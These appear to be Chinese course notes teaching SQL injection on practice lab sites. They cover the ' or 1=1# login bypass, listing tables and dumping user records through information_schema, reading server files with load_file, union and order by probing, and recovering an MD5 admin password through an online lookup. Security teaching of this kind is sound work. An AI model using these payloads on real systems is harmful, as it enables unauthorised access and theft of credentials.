用户(黑客)输入的参数(恶意的数据),被拼接到Sql语句中,作为sql语句的一部分被正常执行了。
第一个案例:万能密码登录
a.部署news靶场
news靶场是一个新闻管理系统。这个web应用是存在sql注入漏洞的。
b.news 新闻网站后台登录:
1.黑客在表单中输入的数据:
用户名: ' or 1=1#
密码: 123
2.后台的php代码
$username=" ' or 1=1# "; $password='123'; # 这条sql语句查询的结果不为空,可以登录成功 select userid from news_users where username = ' ' or 1=1# ' and password='123' select userid from news_users where username = 'admin' and password='123456'
3.实验代码
use news; # 1.正常语句登录失败的 select userid from news_users where username = 'ntd2304' and password='e10adc3949ba59abbe56e057f20f883e'; # 2.正常语句登录成功的 select userid from news_users where username = 'admin' and password='e10adc3949ba59abbe56e057f20f883e'; # 3.黑客输入特殊数据登录成功的 select userid from news_users where username = ' ' or 1=1# ' and password='e10adc3949ba59abbe56e057f20f883e'
e10adc3949ba59abbe56e057f20f883e的原始密码是什么?123456
访问 cmd5网站: https://www.cmd5.com/
输入hash值: e10adc3949ba59abbe56e057f20f883e ,得到 123456。
1.news靶场 (我们提供的)
2.pikachu靶场(web应用综合靶场),网上都有通关教程
3.sqli_labs靶场 (专门针对sql注入的靶场),网上都有通关教程
use pikachu; select * from pikachu.member; select * from pikachu.member where sex='girl'; select * from member where id>=5; select * from member where id!=3; select * from member where id in (2,4,6,8); select * from member where id not in (2,4,6,8); select * from member where id between 3 and 5; select * from member where id=3 or id=5; select * from member where id=7 and sex='girl'; # 模糊查询 # 1.查找手机号以136开头的记录 select * from member where phonenum like '136%'; # 2.查找手机号以3作为结尾的记录 select * from member where phonenum like '%3'; # 3.查询姓名中包含字母n的记录 select * from member where username like '%n%';
/* 字符串函数 */ # 返回字节长度 select length('hello世界'); # 返回'hello世界'中的'世界',位置从1开始 select substr('hello世界',6,2); # 返回'hello世界'中的'hello' select left('hello世界',5); # 字符串连接 select concat('hello','世界'); # 同一个分组的多个字符串连接成一个字符串(列变行,每个数据之间以逗号分割) select username from pikachu.member; select group_concat(username) from pikachu.member; # 返回字符串中第一个字符的ascii码值 a=>97 A=>65 0=>48 select ascii('Abc'); # 将字符串转换为十六进制 A=>65=>41 select hex('ABC'); # 将 "lucy,lili,kevn" 转换为十六进制 select hex('lucy,lili,kevn');
/* 获取数据库系统相关信息 */ # 1. 获取mysql的版本 select version(); # 2. 获取当前数据库的名称 select database(); # 3.获取当前用户 select user(); # 4. 返回数据库路径 select @@datadir;
渗透测试时,为什么需要关注mysql的版本?
在Mysql5.0以上的数据库中可以使用information_schema数据库来查看该数据的所有库、表、列名等信息,这对数据库拖库十分有帮助,因此我们在渗透测试阶段需要对Mysql数据库的版本多进行留意,利用information_schema这个数据库获取到我们需要的信息。
1.修改mysql的配置文件my.ini。打开phpstudy窗口,"其他选项菜单"→"打开配置文件"→mysql-ini。
2.在文件中增加以下内容:secure_file_priv=''
3.在phpstudy窗口中, 点击重启按钮
4.打开mysql命令行窗口,执行命令: mysql-> select load_file('d:/hello.txt')
如果没有 secure_file_priv 则新增 1.指定目录:secure_file_priv=/path/to/data 2.不限目录:secure_file_priv='' 3.禁止操作:secure_file_priv=NULL 或没有这一项内容
高级sql练习:
/* 高级用法 */ # 1. 条件函数 select if(10>5,'success','failed'); # 2. 休眠函数 # select sleep(3); # 3. 随机数,生成0~1之间的随机数 select rand(); # 4.利用mysql读取文件 select load_file ('D:/phpStudy/WWW/news/include/database.inc.php');
information_schema 是mysql5.0以上版本中自带的一个数据库。
2. tables表
information_schema库中的tables表中table_schema列(存储数据库名)和table_name列(存储表名)
information_schema库中的columns表中table_schema列(存储数据库名)、table_name列(存储表名)、column_name列(存储列名)。
已知mysql的版本是5.5,当前数据库名是news。
1.根据information_schema库中的信息获取news库的所有表;
2.获取news库的news_users表的所有字段
3.获取news库的news_users表的所有数据
4.如果数据中有密码的hash值,尝试使用cmd5.com这个网站查询得到明文的口令
10:05回来
select * from information_schema.tables; select table_schema,table_name from information_schema.tables; # 1.获取news数据库的所有表名 select table_name from information_schema.tables where table_schema='news'; # 2.获取news数据库的news_users表的所有字段名 select column_name from information_schema.columns where table_schema='news' and table_name='news_users'; #3.获取news数据库的news_users表的username,passowd字段的数据 select username,password from news.news_users;
作业:(剩余的时间)
1.根据information_schema库中的信息获取pikachu库的所有表;
2.获取pikachu库的users表的所有字段
3.获取pikachu库的users表的所有数据
4.如果数据中有密码的hash值,尝试使用cmd5.com这个网站查询得到明文的口令
###################参考############################ # 1. 当前mysql的版本>5.0,存在information_schema这个库 select version(); # 2. 获取当前数据库:news select database(); # 3. news库中有哪些表 # 所有表的信息存储在 information_schema.tables 表中 select table_schema,table_name from information_schema.tables where table_schema='news'; # 4.查看news库的news_users表中有哪些字段 # 所有字段的信息存储在 information_schema.columns 表中 select table_name,column_name from information_schema.columns where table_schema='news' and table_name='news_users'; # 5.查看news_users表的userid\username\password字段的值 # 获取的值: 1 admin e10adc3949ba59abbe56e057f20f883e select userid,username,password from news_users; # 6. hash: e10adc3949ba59abbe56e057f20f883e # 通过cmd5.com网站查询获取到原始口令: 123456 # 7. 可以使用admin/123456登录到网站后台
order by与union的使用
# 1.通过不断修改order by后面的值, 判断查询结果中有多少列 select * from news.news_users order by 3; # 2. union -联合查询 # union 前后 字段数量 相等, 类型没要求 。 select * from news.news_users union select 1,2,3;